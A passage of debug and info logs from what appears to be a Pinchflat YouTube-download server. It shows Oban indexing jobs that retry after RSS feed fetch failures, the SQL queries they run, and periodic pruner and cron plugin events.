s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:18.549 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:18.550 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:18.550 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:31:18.657 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":545,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107867,"event":"job:exception","queue_time":567966,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:25.711 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:36.570 [info] {"args":{"id":3},"id":545,"meta":{},"system_time":1784871096570417233,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:36.570 [debug] QUERY OK source="sources" db=0.1ms idle=423.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:31:36.570 [debug] QUERY OK source="settings" db=0.0ms idle=423.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:36.570 [debug] QUERY OK source="media_profiles" db=0.1ms idle=423.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:36.571 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:36.571 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:31:36.677 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":545,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106695,"event":"job:exception","queue_time":912374,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:55.712 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:56.592 [info] {"args":{"id":3},"id":545,"meta":{},"system_time":1784871116592290068,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:56.592 [debug] QUERY OK source="sources" db=0.1ms idle=445.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:31:56.592 [debug] QUERY OK source="settings" db=0.1ms idle=445.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:56.592 [debug] QUERY OK source="media_profiles" db=0.0ms idle=445.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:56.593 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:56.593 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:31:56.846 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:31:56.846 [debug] QUERY OK source="media_items" db=0.3ms idle=254.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:31:56.849 [debug] QUERY OK source="media_items" db=2.6ms idle=254.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 05:31:56.850 [debug] QUERY OK source="tasks" db=0.0ms idle=257.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [546, 3, ~U[2026-07-24 05:31:56Z], ~U[2026-07-24 05:31:56Z]] 05:31:56.850 [info] {"args":{"id":3},"id":545,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":258224,"event":"job:stop","queue_time":914379,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:32:00.064 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:25.713 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:55.714 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.065 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:25.715 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:55.716 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.066 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:25.717 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:55.718 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.067 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:25.719 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:55.720 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.068 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:25.722 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:55.723 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.068 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:25.724 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:55.725 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.070 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:25.726 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:55.727 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.070 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:25.728 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:55.729 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.072 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:25.730 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:39.130 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784871639130356540,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:40:39.130 [debug] QUERY OK source="sources" db=0.1ms idle=1983.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:40:39.130 [debug] QUERY OK source="settings" db=0.0ms idle=1984.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:39.131 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:40:39.131 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:39.131 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:40:39.303 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":172258,"event":"job:exception","queue_time":55295,"attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:40:55.731 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.073 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:25.732 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:55.733 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:57.208 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871717208051558,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:41:57.208 [debug] QUERY OK source="sources" db=0.0ms idle=61.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:41:57.208 [debug] QUERY OK source="settings" db=0.0ms idle=61.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:57.208 [debug] QUERY OK source="media_profiles" db=0.0ms idle=61.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:41:57.208 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:57.208 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:41:57.308 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100296,"event":"job:exception","queue_time":358003,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:00.074 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:15.226 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871735226337704,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:15.226 [debug] QUERY OK source="sources" db=0.0ms idle=79.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:42:15.226 [debug] QUERY OK source="settings" db=0.0ms idle=79.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:15.227 [debug] QUERY OK source="media_profiles" db=0.0ms idle=79.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:42:15.227 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:15.227 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:42:15.326 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99357,"event":"job:exception","queue_time":917213,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:25.734 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:35.246 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871755246373487,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:35.246 [debug] QUERY OK source="sources" db=0.1ms idle=99.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:42:35.246 [debug] QUERY OK source="settings" db=0.1ms idle=99.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:35.247 [debug] QUERY OK source="media_profiles" db=0.0ms idle=100.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:42:35.247 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:35.247 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:42:35.352 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105873,"event":"job:exception","queue_time":919788,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:55.735 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:59.270 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871779270143857,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:42:59.270 [debug] QUERY OK source="sources" db=0.0ms idle=123.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:42:59.270 [debug] QUERY OK source="settings" db=0.0ms idle=123.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:59.270 [debug] QUERY OK source="media_profiles" db=0.1ms idle=123.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:42:59.270 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:42:59.270 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:42:59.371 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS 